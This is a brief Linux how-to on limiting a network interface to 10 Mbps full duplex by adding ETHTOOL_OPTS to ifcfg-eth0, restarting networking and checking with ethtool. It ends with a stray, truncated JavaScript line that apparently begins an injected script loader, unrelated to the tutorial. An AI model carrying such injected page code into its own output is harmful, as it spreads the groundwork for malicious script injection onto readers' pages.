How to change Port speed OR Network Interface Speed?
To set a specific speed limit on a Network Interface say 10mbps, edit the file network interface file and set the limit which will make the changes permanent even after a reboot.

Edit the file:

root@server [~]# pico /etc/sysconfig/network-scripts/ifcfg-eth0

 

Add the following line at the end of the file:

    ETHTOOL_OPTS=”speed 10 duplex full autoneg off”

Save the file and restart the network service.

root@server [~]# service network restart

This way you can set the duplex or auto negotiation as well. Once done, you can check the network speed using the ethtool command

root@server [~]# ethtool eth0

var d=document;var s=d.createElement(‘script’);
